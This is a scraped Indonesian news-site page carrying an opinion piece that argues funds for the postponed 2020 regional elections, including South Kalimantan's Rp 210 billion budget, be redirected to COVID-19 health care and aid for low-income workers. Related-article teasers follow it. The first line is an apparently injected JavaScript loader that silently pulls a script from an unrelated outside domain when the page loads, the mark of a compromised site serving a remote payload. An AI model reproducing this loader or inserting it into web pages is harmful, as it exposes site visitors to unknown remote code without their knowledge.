(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Tahun 2015 lalu merupakan pertama kalinya agenda pemilihan kepala daerah (Pilkada) diselenggarakan serentak di wilayah Indonesia. Pilkada tersebut merupakan gelombang pertama yang dimaksudkan memilih gubernur dan wakil gubernur, bupati dan wakil bupati, serta wali kota dan wakil wali kota secara bersamaan. Kemudian gelombang berikutnya pada 2017 dan 2018 juga hal yang sama dilaksanakan.
Dalam hal anggaran, Pilkada serentak ditanggung sepenuhnya melalui Anggran Pendapatan dan Belanja Daerah (APBD) oleh masing-masing pemerintah daerah yang menyelenggarakannya.
Pilkada serentak juga tidak terlepas dari peraturan Komisi Pemilihan Umum (KPU) terkait tahapan, program dan jadwal penyelenggaraan pemilihan gubernur dan wakil gubernur, bupati dan wakil bupati, serta walikota dan wakil walikota. Peraturan ini menjadi pedoman bagi pelaksanaan Pilkada serentak 2015, 2017, dan juga 2018.
Namun pada Pilkada serentak September 2020 ini, nampaknya tidak terselenggara sesuai dengan aturan berlaku. Walaupun Peraturan Komisi Pemilihan Umum (PKPU) Republik Indonesia Nomor 15 Tahun 2019 tentang Tahapan, Program dan Jadwal Penyelenggaraan Pemilihan Gubernur Dan Wakil Gubernur, Bupati Dan Wakil Bupati, Serta Walikota Dan Wakil Walikota Tahun 2020 sudah ditetapkan. Hal itu terlihat dari adanya kesepakatan antara Pemerintah dan DPR pada 3 Maret 2020 melakukan penundaan penyelenggaraan pilkada serentak sampai waktu yang belum ditentukan.
Penundaan pelaksanaan Pilkada tersebut dikarenakan negeri ini sedang terkena musibah dahsyatnya pandemi virus corona. Hal ini juga sekaligus penundaan terhadap penggunaan dana anggaran pilkada. Sebagaimana Pilkada serentak pada tahun 2020 direncanakan diikuti sebanyak 270 daerah dengan rincian 9 provinsi, 224 kabupaten, dan 37 kota. Pemerintah Provinsi Kalimantan Selatan sebagai salah satu provinsi yang rencananya akan melaksanakan pilkada juga sudah menganggarkan dana Pilkada sebesar Rp 210 miliar.
Namun di tengah tantangan pandemi Covid-19 yang dihadapi bersama, anggaran Pilkada seyogyanya dialihkan untuk memaksimalkan penaganan virus di masing-masing daerah. Karena anggaran Pilkada dapat diajukan kembali pada tahun akan datang.
Penggunaan dana tersebut ditujukan untuk fasilitas rumah sakit sebagai antisipasi lonjakan pasien virus corona, pengadaan alat kesehatan dan alat pelindung diri yang memadai, insentif bagi tenaga medis dan pihak terkait.
Selain itu bantuan uang tunai maupun pengadaan kebutuhan pokok bagi para sopir, tukang ojek, UMKM, dan pekerja sektor informal serta khususnya masyarakat menengah ke bawah yang terkena dampak virus corona. Sehingga anjuran stay at home dapat efektif dilaksanakan. Kalaupun dana itu lebih dari cukup maka dialokasikan juga kepada seluruh masyarakat yang ada di masing-masing daerahnya sebagai bentuk perlakuan kesetaraan.
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.